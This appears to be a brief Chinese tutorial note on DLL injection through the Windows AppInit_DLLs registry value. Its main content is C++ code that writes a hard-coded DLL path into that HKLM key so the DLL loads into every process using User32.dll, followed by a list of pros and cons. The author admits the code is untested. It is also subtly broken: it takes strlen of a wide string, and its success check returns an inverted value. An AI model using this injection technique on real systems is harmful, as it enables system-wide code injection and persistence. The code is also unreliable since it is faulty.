注册表注入
原理:当需要加载User32.dll的应用启动时,User32.dll会加载HKEY_LOCAL_MACHINE\SoftWare\MicroSoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls键下的模块
#include <Windows.h>
#include <string>
#include <tchar.h>
//定义键值
#define DSTKEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
//定义注入的dll路径
#define DLLPATH L"C:\\Dll.dll"
BOOL RegInject(WCHAR* DllFullPath)
{
HKEY hKey = NULL;
BOOL IsReg = FALSE;
//打开主键
IsReg=RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
DSTKEY,
0,
KEY_ALL_ACCESS,
&hKey);
//判断是否打开主键
if (IsReg != ERROR_SUCCESS)
{
return FALSE;
}
//写入键值
IsReg = RegSetValueEx(
hKey,
L"AppInit_DLLs",
0,
REG_SZ,
(CONST BYTE*)DLLPATH,
strlen((char*)DLLPATH) + 1
);
return IsReg;
}
//不测试了,容易蓝屏,并且蓝屏了安全模式都打不开
优点:方法比较简单
缺点:需要重启,由于注入所有User32.dll的应用效率低,容易蓝屏,真正应用还要判断指定的窗口
对dll的编写要求较高